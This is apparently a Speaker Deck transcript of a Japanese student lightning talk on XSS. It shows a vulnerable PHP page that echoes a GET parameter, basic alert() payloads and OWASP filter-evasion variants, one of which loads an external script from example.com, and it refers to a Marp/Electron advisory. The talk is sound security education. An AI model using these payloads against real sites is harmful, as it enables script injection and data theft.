Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
XSSの入力値を調べてみた / searching xss insertion value
Search
Tomoyuki KOYAMA
February 03, 2018
Technology
3
1.4k
XSSの入力値を調べてみた / searching xss insertion value
2018/02/03 学生LT at freee
Tomoyuki KOYAMA
February 03, 2018
Tweet
Share
More Decks by Tomoyuki KOYAMA
See All by Tomoyuki KOYAMA
Reading HTTP Client Hints
tomoyk
0
51
Log message with JSON item count for root cause analysis in microservices
tomoyk
0
140
Distributed Log Search Based on Time Series Access and Service Relations
tomoyk
0
270
Webアプリを動かすまでのインフラ構築 / infra-build-for-web-app
tomoyk
0
360
コンピュータが大好きな私が大学院進学した理由 / Why I chose graduate school
tomoyk
2
800
この先生きのこるための学び方 / how-to-learn-tech
tomoyk
1
350
佐川急便のフィッシングサイトを調べてみた / Analysis of sagawa fishing site
tomoyk
1
150
既存のWebアプリをセキュアにするためにやったこと / Student-LT-WebSec
tomoyk
0
160
パケットを覗いてみよう / Packet workshop for beginners
tomoyk
0
290
Other Decks in Technology
See All in Technology
ネットワーク可視化の世界
likr
7
5.7k
3年でバックエンドエンジニアが5倍に増えても破綻しなかったアーキテクチャ そして、これから / Software architecture that scales even with a 5x increase in backend engineers in 3 years
euglena1215
11
4.3k
Web APIをなぜつくるのか
mikanichinose
0
1.5k
.NET AspireでAzure Functionsやクラウドリソースを統合する
tsubakimoto_s
0
130
#TRG24 / David Cuartielles / Post Open Source
tarugoconf
0
410
株式会社ログラス − エンジニア向け会社説明資料 / Loglass Comapany Deck for Engineer
loglass2019
3
33k
The future we create with our own MVV
matsukurou
0
1.3k
10年もののバグを退治した話
n_seki
0
140
The key to VCP-VCF
mirie_sd
0
160
PHPerのための計算量入門/Complexity101 for PHPer
hanhan1978
6
1.5k
React Routerで実現する型安全なSPAルーティング
sansantech
PRO
4
870
OPENLOGI Company Profile
hr01
0
57k
Featured
See All Featured
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
97
17k
Documentation Writing (for coders)
carmenintech
67
4.5k
How to Think Like a Performance Engineer
csswizardry
22
1.3k
XXLCSS - How to scale CSS and keep your sanity
sugarenia
248
1.3M
Rebuilding a faster, lazier Slack
samanthasiow
79
8.8k
Agile that works and the tools we love
rasmusluckow
328
21k
Adopting Sorbet at Scale
ufuk
74
9.1k
[Rails World 2023 - Day 1 Closing Keynote] - The Magic of Rails
eileencodes
33
2k
ピンチをチャンスに:未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
112
50k
Art, The Web, and Tiny UX
lynnandtonic
298
20k
The MySQL Ecosystem @ GitHub 2015
samlambert
250
12k
VelocityConf: Rendering Performance Case Studies
addyosmani
327
24k
Transcript
XSS
B1 Twitter: @tmyk_kym : https://blog.koyama.me/ : Network/Web/Server/Security : PyCon JP,
Seccamp, etc
XSS (Cross Site Scripting) HTML CWE-79: Improper Neutralization of Input
During Web Page Generation ('Cross-site Scripting') (3.0)
... <!doctype html> <meta charset="utf-8"> <title>XSS Sample</title> <h1><?php echo $_GET['mode'];
?></h1> $_GET['mode'] hello <!doctype html> <meta charset="utf-8"> <title>XSS Sample</title> <h1>hello</h1>
... <!doctype html> <meta charset="utf-8"> <title>XSS Sample</title> <h1><?php echo $_GET['mode'];
?></h1> $_GET['mode'] <script>alert()</script> <!doctype html> <meta charset="utf-8"> <title>XSS Sample</title> <h1><script>alert()</script></h1>
XSS Stored XSS( ) Re ected XSS( ) DOM Based
XSS
XSS == XSS
<script>alert(1)</script> "><script>alert(1)</script> " onmouseover="alert(1) x" onerror="alert(1) <- img src javascript:alert(1)
<- a href
XSS
? / . XSS . XSS .
?
OWASP OWASP XSS 2015 XSS - OWASP https://jpcertcc.github.io/OWASPdocuments/CheatSheets/XSSFilterEvasion.html
( ) 3
[1] <SCRIPT/XSS SRC="http://example.com/xss.js"> </SCRIPT> / . ... <script xss="" src="http://example.com/xss.js">
</script>
[2] <<SCRIPT>alert("XSS");//<</SCRIPT> HTML XSS . ... "><script> alert("XSS");//< </script>
[3] <img src=x onerror=javas cript:ale rt('XSS')> &#x... HTML (16 )
. ... <img src="x" onerror="javascript:alert('XSS')">
( )
( ) <img src=javascript:alert('XSS')> <img src=javascript: alert(String.fromCharCode(88,83,83))> <META HTTP-EQUIV="refresh" CONTENT="3;
URL=http://;URL=http://yahoo.co.jp/;">
None
Electron Marp Electron Web ... <script>alert()</script> alert ...( )
?
JVN#21174546: Marp JavaScript https://jvn.jp/jp/JVN21174546/ However, sanitizing inline script should consider
on future. [Security issue] Remote script can read user local resource · Issue #187 · yhatt/marp “ “
XSS XSS alert() Electron